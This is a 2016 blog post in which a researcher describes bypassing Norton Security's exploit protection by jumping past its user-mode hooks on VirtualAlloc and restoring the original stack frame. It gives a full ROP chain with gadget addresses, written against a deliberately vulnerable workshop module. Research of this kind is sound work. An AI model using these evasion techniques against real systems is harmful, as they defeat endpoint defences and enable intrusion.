пятница, 16 декабря 2016 г.

Bypassing Exploit protection of NORTON Security

Hey, today I am not going to talk about CANToolz! Surprise 8)

Let me start this story from the beginning - I just got a new laptop, and by default there was installed a Norton Security. And I have 60 days evaluation time. And this is ok (except that part when Norton have decided to delete my Radare2, that was awful... ).

But it was interesting for me - how it works and how we could bypass it... And then I have started playing with it online - while streaming this on our TWICH (https://www.twitch.tv/defconrussia, sorry Russian lang), so my friends from Defcon-Russia (DC 7812) could do it with me online 8)

First finding: Norton could detect only StackPivots, and it's done with help of ring3 hooks on critical functions, like LoadLibrary, VirtualProtect and VirtualAlloc. So they have injected their JUMPS in function's prologue and intercept all calls. In their handler they can check if current stack frame is "original". If not, then they raising an exception like on that screenshot. So if during exploit there are no Stack Pivotings happened (let's say simple BoF where ROP and shellcode in the same stack) then attack will be not stopped and detected.

Let's see their hooks on VirtualAlloc where my ROP shellcode fails after StackPivot:

First hook is in the kernel32 wrapper and then second hook in kernelbase:

This could be bypassed via different methods for example attacker could copy ROP shellcode with VirtualAlloc call into original stack with help of stage1 ROP shellcode and than switch "original" stack frame back, or he could bypass hooks by restoring function's prologue and jump over the hook. During the stream we decided to try both strategies just for fun:

1) ROP shellcode will bypass VirtualAlloc via jumps over two hooks.
2) Then normal shellcode will restore original stack frame and execute LoaldLibrary and other functions without any exceptions.

Bypassing two hooks in ROP's VirtualAlloc call:

My original exploit have leaked pointer to VirtualAlloc call from kernel32, If we want to bypass these hooks, we need to call VirtualAlloc from kernelbase, and we need to "jump" on that address with offset in 5 bytes from the beginning. Directly on first "push ecx".
We did it like that:
esi <- VirtualAlloc pointer

But you could not do "jmp eax", because prologue of kernelbase.VirtualProtect was "overwritten" by hook, so first you need to restore original EBP value (because this register is used as a pointer for parameters)

lost VirtualAlloc prologue:

push ebp
mov ebp, esp

So we need to be sure that at the moment of the jump we will have pre-calculated EBP value that will be equal to ESP. It is mean that we need to do mov ebp,esp just before we will do "jmp eax". Then hook will be bypassed. Of course when you do it via ROP it is a little bit more difficult, because ROP always changes ESP pointer. But finally we did it (ROP for my vulnerable workhsop ActiveX module, ASLR enabled, so addresses here just for an example):

1) This is ROP shellcode after stack pivot, we have original stack pointer stored in EDI2) Let's pre-calc EBP (EBP should be same as ESP when VirtualAlloc will be called)

>0x5bf2b484 : # POP EAX # RETN

>204 : # offset to EBP

>0x5be63cd8 : # PUSH ESP # POP EBP # RETN 04

>0x5bf014a9 : # XCHG EAX,EBP # RETN

>0x90909090 : # TRASH

>0x5bf08c87 : # ADD EAX,EBP # RETN

>0x5bf014a9 : # XCHG EAX,EBP # RETN

3) Here we want to calc address of VirtuallAlloc in kernelbase after all Norton's hooks

# EAX = kernelbase.virtalloc + offset_over_the_hook

>0x5bee1907 : # POP ECX # RETN [npexploitMe.dll]

>0x5bf32114 : # ptr to &VirtualAlloc() [IAT npexploitMe.dll]

>0x5bed6fb0 : # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]

>0x5bedba6d : # ADD EAX,8 # RETN

>0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN

>0x5be629f9 : # MOV EAX,DWORD PTR DS:[EAX] # RETN

>0x5bee809a : # INC EAX # RETN

>0x5bee809a : # INC EAX # RETN

>0x5bee809a : # INC EAX # RETN

>0x5bee809a : # INC EAX # RETN

>0x5bee809a : # INC EAX # RETN

4) Prepare parameters for VirtualAlloc

>0x5bf20010 : # XCHG EAX,ESI # RETN ; save VA in ESI

>0x5be8936f : # XOR EAX,EAX # RETN

>0x5bf08c87 : # ADD EAX,EBP # RETN ; EAX=EBP

>0x5bed87dd : # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN

; EDX = EBP, pointer to place where we want to store our VA parameters

>0x22222222 : # Retuen address after VA call, will be overwritten by (3)

>0x33333333 : # First VA parameter - pointer, overwrittem by (4)

>0x00000001 : # Second VA parameter: size

>0x00001000 : # Third VA parameter: AllocationType = MEM_COMMIT

>0x00000040 : # Last VA parameter: R_X

After that normal shellcode can be executed from R_X memory. We still have the original stack frame pointer in EDI, we did not use this register during ROP, so now shellcode could restore original stack frame (second strategy) and continue execution without problems from Norton Security:

mov esp, edi

Now we have bypassed this protection and able to execute our code for the workshop exploit with no problems. Too simple. And this tricks are kind universal and will work in most setups (like same ROP and shellcode will be executed same way on boxes without Norton, and with Norton, so attacker will not need two different payloads/shellcodes)

P.S.

For me it was funny to stream this small ans simple "research" and I got a lot of help from the community, finally we all had fun time and learned about security something.